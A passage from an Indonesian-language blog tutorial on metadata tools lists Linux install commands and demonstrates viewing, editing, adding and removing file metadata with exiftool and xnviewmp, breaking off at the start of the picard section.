exiv2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;NixOS&lt;/td&gt;&lt;td&gt;nix-shell -p exiv2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Audio &amp;amp; Music Tagging&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;7&lt;/td&gt;&lt;td&gt;picard (GUI)&lt;/td&gt;&lt;td&gt;Debian/Ubuntu&lt;/td&gt;&lt;td&gt;sudo apt install picard&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Archlinux&lt;/td&gt;&lt;td&gt;sudo pacman -Sy picard&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Fedora&lt;/td&gt;&lt;td&gt;sudo dnf install picard&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;OpenSUSE&lt;/td&gt;&lt;td&gt;sudo zypper install picard&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;NixOS&lt;/td&gt;&lt;td&gt;nix-shell -p picard&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8&lt;/td&gt;&lt;td&gt;kid3 (GUI)&lt;/td&gt;&lt;td&gt;Debian/Ubuntu&lt;/td&gt;&lt;td&gt;sudo apt install kid3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Archlinux&lt;/td&gt;&lt;td&gt;sudo pacman -Sy kid3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Fedora&lt;/td&gt;&lt;td&gt;sudo dnf install kid3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;OpenSUSE&lt;/td&gt;&lt;td&gt;sudo zypper install kid3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;NixOS&lt;/td&gt;&lt;td&gt;nix-shell -p kid3&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;9&lt;/td&gt;&lt;td&gt;easyTAG (GUI)&lt;/td&gt;&lt;td&gt;Debian/Ubuntu&lt;/td&gt;&lt;td&gt;sudo apt install easytag&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Archlinux&lt;/td&gt;&lt;td&gt;sudo pacman -Sy easyta&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Fedora&lt;/td&gt;&lt;td&gt;sudo dnf install easytag&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;OpenSUSE&lt;/td&gt;&lt;td&gt;sudo zypper install easytag&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;NixOS&lt;/td&gt;&lt;td&gt;nix-shell -p easytag&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Video Tagging&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;10&lt;/td&gt;&lt;td&gt;VLC (GUI)&lt;/td&gt;&lt;td&gt;Debian/Ubuntu&lt;/td&gt;&lt;td&gt;sudo apt install vlc&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Archlinux&lt;/td&gt;&lt;td&gt;sudo pacman -Sy vlc&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Fedora&lt;/td&gt;&lt;td&gt;sudo dnf install vlc&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;OpenSUSE&lt;/td&gt;&lt;td&gt;sudo zypper install vlc&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;NixOS&lt;/td&gt;&lt;td&gt;nix-shell -p vlc&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Document Tagging&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11&lt;/td&gt;&lt;td&gt;pdftk (CLI)&lt;/td&gt;&lt;td&gt;Debian/Ubuntu&lt;/td&gt;&lt;td&gt;sudo apt install pdftk&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Archlinux&lt;/td&gt;&lt;td&gt;sudo pacman -Sy pdftk&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Fedora&lt;/td&gt;&lt;td&gt;sudo dnf install pdftk&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;OpenSUSE&lt;/td&gt;&lt;td&gt;sudo zypper install pdftk&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;NixOS&lt;/td&gt;&lt;td&gt;nix-shell -p pdftk&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;The Method&lt;a href=&quot;#the-method&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, waktunya demonstrasi.&lt;/p&gt;&lt;p&gt;Saya tidak akan mendemonstrasikan penggunaan seluruh &lt;em&gt;tools&lt;/em&gt; yang sudah saya paparkan sebelumnya. Jadi, saya hanya akan mendemonstrasikan penggunaan 4 &lt;em&gt;tools&lt;/em&gt; saja:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;code&gt;exiftool&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xnviewmp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;picard&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;vlc&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Sebelum mulai membahas satu persatu &lt;code&gt;tools&lt;/code&gt; tersebut, saya sudah siapkan 5 jenis file yang nanti akan kita coba analisis dan manipulasi metadatanya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;5 files ready&quot; loading=&quot;lazy&quot; width=&quot;938&quot; height=&quot;490&quot; src=&quot;/_astro/ss2.iNQcsX80_Z2hVBpX.webp&quot; /&gt;&lt;figcaption&gt;5 files ready&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;sebuah file dokumen (pdf)&lt;/li&gt;
&lt;li&gt;sebuah file gambar (heic)&lt;/li&gt;
&lt;li&gt;sebuah file image (iso)&lt;/li&gt;
&lt;li&gt;sebuah file video (mp4)&lt;/li&gt;
&lt;li&gt;sebuah file audio (mp3)&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Satu informasi lagi, setiap “&lt;em&gt;review&lt;/em&gt;” software di bawah ini, saya akan lihat 4 kemampuannya terkait metadata:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;melihat&lt;/strong&gt;: menampilkan metadata.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;mengubah&lt;/strong&gt;: mengedit informasi yang sudah ada di metadata.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;menambahkan&lt;/strong&gt;: menambahkan metadata baru yang belum ada sebelumnya.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;menghapus&lt;/strong&gt;: menghapus metadata yang sudah ada sebelumnya.&lt;/li&gt;
&lt;/ol&gt;&lt;section&gt;&lt;h4&gt;1. &lt;code&gt;exiftool&lt;/code&gt;&lt;a href=&quot;#1-exiftool&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Sekarang, saya akan demonstrasikan penggunaan &lt;code&gt;exiftool&lt;/code&gt; sebagai &lt;em&gt;tools&lt;/em&gt; untuk mengintip dan memanipulasi metadata:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Melihat metadata&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Karena &lt;code&gt;exiftool&lt;/code&gt; adalah &lt;em&gt;software&lt;/em&gt; berbasis CLI (&lt;em&gt;Command Line Interface&lt;/em&gt;), jadi, berikut adalah perintah yang digunakan untuk melihat metadata suatu file:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exiftool&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nama_file.pdf&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;exiftool for reading document metadata&quot; loading=&quot;lazy&quot; width=&quot;889&quot; height=&quot;572&quot; src=&quot;/_astro/exiftool1.C3dJCBqB_yRM3a.webp&quot; /&gt;&lt;figcaption&gt;exiftool for reading document metadata&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Mengubah metadata&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Mengubah metadata yang saya maksud adalah mengganti informasi yang terdapat di metadata. Misalnya, dari file pdf di atas, saya ingin mengganti nama “Author”-nya dari “Eric M. Johnson and Robert Chew” menjadi nama saya: “Wildan”.&lt;/p&gt;&lt;p&gt;Berikut adalah perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exiftool&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Author=&lt;/span&gt;&lt;span&gt;&quot;Wildan&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nama_file.pdf&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Bagian &lt;strong&gt;-Author&lt;/strong&gt; bisa disesuaikan (diganti) dengan metadata yang ingin kalian ubah.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Berikut hasilnya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;exiftool for manipulating document metadata&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;741&quot; src=&quot;/_astro/exiftool2.DZ2FkvJh_XKi7s.webp&quot; /&gt;&lt;figcaption&gt;exiftool for manipulating document metadata&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, jika metadata berhasil diubah, maka akan ada keterangan “&lt;em&gt;&lt;strong&gt;1 images file updated&lt;/strong&gt;&lt;/em&gt;”. Selain itu, terlihat juga bahwa metadata “Author”-nya sudah berubah menjadi “Wildan”.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Menambahkan metadata&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Perintah untuk menambahkan metadata mirip dengan perintah untuk mengganti metadata. Hanya saja, di sini kita akan menyisipkan metadata baru yang belum ada sebelumnya. Di sini, saya akan menambahkan metadata “Copyright” dengan parameter / informasi “WildanARCH”.&lt;/p&gt;&lt;p&gt;Berikut perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exiftool&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Copyright=&lt;/span&gt;&lt;span&gt;&quot;WildanARCH&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nama_file.pdf&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Berikut &lt;em&gt;output&lt;/em&gt;-nya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;exiftool cannot add document metadata&quot; loading=&quot;lazy&quot; width=&quot;654&quot; height=&quot;149&quot; src=&quot;/_astro/exiftool3.vWWkveJA_1DaKn6.webp&quot; /&gt;&lt;figcaption&gt;exiftool cannot add document metadata&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Sayang sekali, sepertinya &lt;code&gt;exiftool&lt;/code&gt; belum bisa menambahkan metadata baru untuk file pdf.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Setelah melihat halaman &lt;strong&gt;man pages&lt;/strong&gt; &lt;code&gt;exiftool&lt;/code&gt;, ternyata memang file pdf tidak (atau belum) punya dukungan untuk dibuatkan metadata baru dari &lt;code&gt;exiftool&lt;/code&gt;. Jadi, metadata file pdf hanya bisa dibaca (&lt;em&gt;read&lt;/em&gt;) dan diganti (&lt;em&gt;write&lt;/em&gt;) saja.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;exiftool supported formats&quot; loading=&quot;lazy&quot; width=&quot;1138&quot; height=&quot;741&quot; src=&quot;/_astro/exiftool3-1.0e2RF8hI_1LN9Is.webp&quot; /&gt;&lt;figcaption&gt;exiftool supported formats&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Menghapus metadata&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;exiftool dapat digunakan untuk menghapus satu, beberapa, atau semua metadata suatu file. Dalam contoh di bawah ini, saya akan menghapus metadata “Author”.&lt;/p&gt;&lt;p&gt;Perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exiftool&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Auhtor=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nama_file.pdf&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;Output&lt;/em&gt;-nya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;exiftool: deleting metadata&quot; loading=&quot;lazy&quot; width=&quot;598&quot; height=&quot;255&quot; src=&quot;/_astro/exiftool4.DSzesm61_ZSjqkl.webp&quot; /&gt;&lt;figcaption&gt;exiftool: deleting metadata&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Berhasil! Metadata “Author” sudah terhapus.&lt;/p&gt;&lt;p&gt;Jika kita ingin menghapus semua metadata yang ada tanpa harus memasukkan satu persatu metadata yang ada ke dalam opsi &lt;code&gt;exiftool&lt;/code&gt;, kita bisa gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exiftool&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-all=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nama_file.pdf&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Hasilnya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;exiftool: deleting all metadata&quot; loading=&quot;lazy&quot; width=&quot;1034&quot; height=&quot;262&quot; src=&quot;/_astro/exiftool4-1.DMKnCxKV_Z2c7nkh.webp&quot; /&gt;&lt;figcaption&gt;exiftool: deleting all metadata&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, memang tidak semua metadata dapat terhapus. Salah satu alasan yang paling masuk akal adalah karena memang kita (atau &lt;em&gt;exiftool&lt;/em&gt;) tidak diberi izin oleh dokumen atau file tersebut untuk menghapus semua metadata.&lt;/p&gt;&lt;p&gt;Tapi, berdasarkan tangkapan layar di atas, terlihat bahwa dari 86 metadata awal yang ada, dengan perintah tersebut, &lt;code&gt;exiftool&lt;/code&gt; sudah menghapus sekitar 29 metadata sehingga hanya tersisa 57 metadata saja yang tidak dapat terhapus.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. &lt;code&gt;xnviewmp&lt;/code&gt;&lt;a href=&quot;#2-xnviewmp&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Sekarang, saya akan demonstrasikan penggunaan &lt;code&gt;xnviewmp&lt;/code&gt; sebagai &lt;em&gt;tools&lt;/em&gt; untuk mengintip dan memanipulasi metadata. Berbeda dengan &lt;code&gt;exiftool&lt;/code&gt;, &lt;code&gt;xnviewmp&lt;/code&gt; adalah &lt;em&gt;software&lt;/em&gt; berbasis GUI (&lt;em&gt;Graphical User Interface&lt;/em&gt;). File yang akan saya gunakan untuk demonstrasi &lt;code&gt;xnviewmp&lt;/code&gt; ini adalah file gambar.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Melihat metadata&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Setelah membuka &lt;em&gt;software&lt;/em&gt; &lt;code&gt;xnviewmp&lt;/code&gt;, kita hanya perlu mengklik file yang ingin kita lihat metadatanya:&lt;/p&gt;&lt;p&gt;Seperti terlihat, dengan meng-klik file-nya saja, semua metadata yang tersedia di file tersebut akan ditampilkan di bagian bawah aplikasi &lt;code&gt;xnviewmp&lt;/code&gt;. Bahkan, jika terdapat metadata terkait GPS (&lt;em&gt;Global Positioning System&lt;/em&gt;), &lt;code&gt;xnviewmp&lt;/code&gt; akan menampilkannya langsung dalam bentuk map. Canggih bukan?&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Mengubah metadata&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Untuk mengubah metadata, caranya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Klik kanan pada file yang ingin diubah metadatanya.&lt;/li&gt;
&lt;li&gt;Pilih menu “&lt;strong&gt;metadata&lt;/strong&gt;”.&lt;/li&gt;
&lt;li&gt;Pilih sub-menu metadata yang ingin diubah (ada EXIF, IPTC, XMP, GPS, dan Add/Replace metadata)&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;xnview cannot modify metadata&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;741&quot; src=&quot;/_astro/xnviewmp1.cCsUD_rn_Z2b2O6Q.webp&quot; /&gt;&lt;figcaption&gt;xnview cannot modify metadata&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat pada tangkapan layar di atas, saya ingin mengganti metadata “Camera Manufacturer” dari “samsung”, tapi, sub-menu metadatanya &lt;em&gt;inactive&lt;/em&gt;. Artinya, kita tidak dapat mengganti metadata di &lt;code&gt;xnviewmp&lt;/code&gt; ini.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Menambahkan metadata&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Karena tidak bisa mengganti atau mengubah metadata sebuah file gambar, maka saya mencoba cara lain: mengganti filenya. Ternyata, memang masih tidak bisa mengubah metadata yang sudah ada sebelumnya, tapi, kita bisa menambahkan metadatanya di bagian sub-menu “IPTC” dan “XMP”.&lt;/p&gt;&lt;p&gt;Di sini, saya akan menambahkan “Caption” yang berisi informasi “Edited by Wildan on Archlinux”.&lt;/p&gt;&lt;p&gt;Caranya sama seperti sebelumnya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Buka menu metadata, pilih IPTC/XMP.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;open metadate menu&quot; loading=&quot;lazy&quot; width=&quot;1107&quot; height=&quot;649&quot; src=&quot;/_astro/xnviewmp1-1.BAZBBEzp_Z1ND49W.webp&quot; /&gt;&lt;figcaption&gt;open metadate menu&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Di bagian “Caption”, tambahkan teks, kemudian klik “Write”.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;add caption&quot; loading=&quot;lazy&quot; width=&quot;1107&quot; height=&quot;649&quot; src=&quot;/_astro/xnviewmp1-2.CQHrhtFf_Zw13uh.webp&quot; /&gt;&lt;figcaption&gt;add caption&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Cek di icon info, kemudian ke menu “Exiftool”, caption berhasil ditambahkan.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;caption successfully added!&quot; loading=&quot;lazy&quot; width=&quot;1106&quot; height=&quot;648&quot; src=&quot;/_astro/xnviewmp1-3.BS2H-7rd_Zg2Vxr.webp&quot; /&gt;&lt;figcaption&gt;caption successfully added!&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kita baru saja berhasil menambakan &lt;em&gt;caption&lt;/em&gt; di file gambar dengan &lt;code&gt;xnviewmp&lt;/code&gt;!&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Menghapus metadata&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Untuk menghapus metadata di &lt;code&gt;xnviewmp&lt;/code&gt;, ada 2 cara:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Masuk ke menu untuk menambahkan metadata seperti sebelumnya, kemudian kita hapus metadata yang sudah kita tambahkan.&lt;/li&gt;
&lt;li&gt;Ke menu metadata, lalu pilih “Clean metadata” untuk menghapus semua metadata.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Saya akan demonstrasikan cara yang ke-2, sebab cara yang pertama memang persis seperti menambahkan metadata, hanya saja di situ kita menghapus informasi atau metadata yang sudah kita tambahkan sebelumnya.&lt;/p&gt;&lt;p&gt;Berikut adalah cara menghapus semua metadata:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Buka menu metadata -&amp;gt; Clean metadata.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;open clean metadata menu&quot; loading=&quot;lazy&quot; width=&quot;1107&quot; height=&quot;649&quot; src=&quot;/_astro/xnviewmp4-1.BX7yODZS_KDTE1.webp&quot; /&gt;&lt;figcaption&gt;open clean metadata menu&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Pilih jenis metadata yang ingin dihapus (ceklis semua untuk menghapus semua), simpan perubahan.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;select wanted metadate to remove&quot; loading=&quot;lazy&quot; width=&quot;343&quot; height=&quot;507&quot; src=&quot;/_astro/xnviewmp4-2.yT3DkYCk_Z1Nbpbf.webp&quot; /&gt;&lt;figcaption&gt;select wanted metadate to remove&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Lihat metadata terbaru.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;metadata deleted&quot; loading=&quot;lazy&quot; width=&quot;1108&quot; height=&quot;649&quot; src=&quot;/_astro/xnviewmp4-3.D4dnvFso_Z531xH.webp&quot; /&gt;&lt;figcaption&gt;metadata deleted&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, metadatanya tidak semua terhapus, meskipun kita sudah pilih untuk menghapus seluruh metadata. Yang terhapus adalah metadata “Caption” yang tadi sudah kita tambahkan. Artinya, memang hanya metadata itulah yang diizinkan oleh file tersebut untuk bisa dihapus.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;3. &lt;code&gt;picard&lt;/code&gt;&lt;a href=&quot;#3-picard&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Sekarang, saya akan demonstrasikan penggunaan &lt;code&gt;picard&lt;/code&gt; sebagai &lt;em&gt;tools&lt;/em&gt; untuk mengintip dan memanipulasi metadata. &lt;code&gt;picard&lt;/code&gt; juga merupakan aplikasi berbasis GUI. File yang akan saya gunakan untuk demonstrasi ini adalah file suara (mp3).&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Melihat metadata&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Untuk melihat metadata, kita hanya perlu meng-klik file yang ingin kita lihat metadatanya di &lt;code&gt;picard&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;picard: showing file metadata&quot; loading=&quot;lazy&quot; width=&quot;936&quot; height=&quot;626&quot; src=&quot;/_astro/picard1.CRAEiYAe_1enU19.webp&quot; /&gt;&lt;figcaption&gt;picard: showing file metadata&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
